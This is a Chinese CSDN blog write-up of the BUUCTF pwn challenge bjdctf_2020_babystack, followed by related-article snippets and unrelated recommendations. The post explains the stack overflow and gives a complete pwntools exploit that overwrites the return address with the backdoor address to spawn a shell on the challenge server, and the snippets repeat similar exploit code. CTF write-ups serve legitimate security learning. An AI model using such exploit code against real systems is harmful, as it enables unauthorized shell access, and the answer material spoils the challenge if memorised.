BUUCTF-Pwn-bjdctf_2020_babystack

最新推荐文章于 2022-08-26 21:30:16 发布

餐桌上的猫

最新推荐文章于 2022-08-26 21:30:16 发布

阅读量109

点赞数

分类专栏： CTF Pwn 文章标签：其他

本文链接：https://blog.csdn.net/qq_46035101/article/details/123270509

版权

CTF 同时被 2 个专栏收录

29 篇文章 0 订阅

订阅专栏

Pwn

21 篇文章 0 订阅

订阅专栏

题目截图
在这里插入图片描述
例行检查

用IDA打开查看字符串，找到/bin/sh

交叉引用找到后门函数

查看main函数

read函数读入的字符个数由我们输入的第一个数字决定，所以存在溢出
在main函数的末尾有leave操作，所以需要额外的填充8个字节
在这里插入图片描述

完整的exp

from pwn import*

p=remote('node4.buuoj.cn',25925) 
p.sendlineafter(b'name:\n', b'1000')
payload=b'a'*(0x10+8)+p64(0x4006e6)
p.sendlineafter(b'name?\n',payload)
p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

餐桌上的猫

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF-Pwn-bjdctf_2020_babystack

题目截图
复制链接

扫一扫

专栏目录

BUUCTF：bjdctf_2020_babystack2（write up）

qq_44768749的博客

08-24

1480

BUUCTF：bjdctf_2020_babystack20x01文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01文件分析 64位程序，开启了栈不可执行、部分RELRO保护 0x02 运行先输入name的长度，再输入name 0x03 IDA 输入nbytes的长度要小于10 同时给出了后面函数直接getshell 0x04 思路比较nbytes和10的大小，可以利用符号溢出漏洞，输入一个负数，进而输入name的时候可以实现栈溢出跳转到后门函数ge

BUUCTF pwn——bjdctf_2020_babystack

CNS-Enterprise BCC-1701-J

03-31

223

BUUCTF 做题练习

参与评论您还未登录，请先登录后发表或查看评论

BUUCTF PWN bjdctf_2020_babystack

Rt1Text的博客

04-23

308

1.checksec+运行 64位/NX保护 2.64位IDA进行中 1.main函数 read()函数溢出跟进buf,看看偏移 offset=0x10+8 但要注意一点: read(0, buf, (unsigned int)nbytes); 无符号整型,需要输入-1,进行整型溢出接下来就是常规的操作 backdoor函数地址 3.直接上脚本 from pwn import* #p=process('./12babystack') p=remote...

[BUUCTF-pwn]——bjdctf_2020_babystack

Y_peak的博客

02-10

357

[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea

[BUUCTF]PWN——bjdctf_2020_babystack

BangSen1的博客

03-29

300

例行检查，64位，开启NX保护运行一下，用IDA打开，检索字符串，看到了后门跟进查看。找到了地址，shelladdr=0x4006EA 查看主函数接收函数长度由我们自己决定，由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.

[BUUCTF]PWN——bjdctf_2020_babystack2

BangSen1的博客

04-06

912

bjdctf_2020_babystack2 64位，开启NX保护。运行一下。用IDA打开。找到了后门函数。backdoor=0x400726 查看main函数读入数据的大小由我们输入的参数nbytes控制 nbytes参数的类型是 size_t，它是一个无符号整型。但是第7行又将它转换成了有符号的整型，存在整数溢出漏洞（即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围，从而造成溢出，常用-1来造成溢出） from pwn import * r=remote('nod

[BUUCTF]PWN18——bjdctf_2020_babystack

mcmuyanga的博客

09-02

2777

[BUUCTF]PWN18——bjdctf_2020_babystack 附件步骤：例行检查，64位，开启了nx保护试运行一下程序大概了解程序的执行过程后用64位ida打开，shift+f12先查看一下程序里的字符串看到/bin/sh双击跟进，ctrl+x找到了后门函数，shell_addr=0x4006e6 根据试运行的回显，找到了输入点一个简单的小程序，buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出 EXP from pwn import* r=re

bjdctf_2020_babystack【BUUCTF】

qq_41696518的博客

08-26

621

bjdctf_2020_babystack

[buuctf]bjdctf_2020_babystack

逆向萌新的博客

06-19

675

[buuctf]bjdctf_2020_babystack

BUUOJ-[BIDCTF2020]-easy

bunner_的博客

02-23

136

拿到一份exe可执行程序，按照下面步骤进行解题分析文件是否加壳等将文件扔进exeinfope，发现为32位无壳的exe文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-owAZcvk3-1614067093793)(https://ae01.alicdn.com/kf/Uaf68ad7a08b04919b35674d2274b19bbq.jpg)] ...

QT属性动画--设置样式属性(其他属性)

lizequan的博客

03-02

5366

这里写自定义目录标题故事背景遇到的问题解决过程最终方法感悟故事背景最近在制作一个按钮切换的动画特效中接触了属性动画这部分内容，并由此产生了一些思考。遇到的问题解决过程最终方法感悟 ...

Volatile的其他特性

我想月薪过万的博客

03-03

3883

2.1 volatile总体概览在上一节中，我们已经研究完了volatile可以实现并发下共享变量的可见性，volatile除了保证可见性外，volatile还具备如下一些突出的特性： volatile的原子性问题：volatile不能保证原子性操作禁止指令重排序：volatile可以防止指令重排序操作 2.2 volatile不保证原子性 2.3 代码测试 package Ls; /** * 目标：研究Volatile的原子性操作 * <p> * 基本观点：V.

【安卓基础】Android直接通过路径来操作其他应用的私有目录，可以吗？

m0_48179608的博客

03-02

7606

在上篇文章[【安卓基础】一文搞懂Android历代版本文件访问权限变化](https://blog.csdn.net/m0_48179608/article/details/122838494)我们对同一个应用的的文件访问权限做了比较。那么不同应用之间文件访问又有什么限制呢？我们准备分二到三篇文件来阐述。这篇文章，主要来看下不同系统版本下，我们直接通过路径来访问其它应用的**内部存储、外部存储私有目录**，看看能不能访问以及不同系统版本的区别。

Silane-PEG-NHS，SIL-PEG-NHS，可以用来修饰蛋白质、多肽以及其他活性基团，NHS-PEG-Silane

qq_39152602的博客

03-03

3532

英文名称：Silane-PEG-NHS 中文名称：硅烷-聚乙二醇-活性酯分子量：1k，2k，3.4k，5k，10k，20k（可按需定制）质量控制：95%+ 存储条件：-20°C，避光，避湿用途：仅供科研实验使用，不用于诊治外观: 固体或粘性液体，取决于分子量注意事项：取用一定要干燥，避免频繁的溶解和冻干溶解性：溶于大部分有机溶剂，如：DCM、DMF、DMSO、THF等等。在水中有很好的溶解性取用：现配现用，将包装从冰箱中取出，置于干燥器中缓慢升至室温，打开瓶盖，取用。取用.

[Golang]力扣Leetcode—中级算法—其他—两整数之和（位运算）

皮埃尔的博客

03-03

2862

[Golang]力扣Leetcode—中级算法—其他—两整数之和（位运算）

基于Matlab的模糊PID控制系统设计及仿真.pdf

08-05

基于Matlab的模糊PID控制系统设计及仿真

黑马头条，黑马头条，黑马头条

08-05

黑马头条，黑马头条，黑马头条

基于ppo算法的计算卸载策略研究python

08-05

ppo算法基于ppo算法的计算卸载策略研究适用人群：学习不同技术领域的小白或进阶学习者；可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。

SQLTools插件下载与使用说明

08-05

超声波测试方案+气体+液体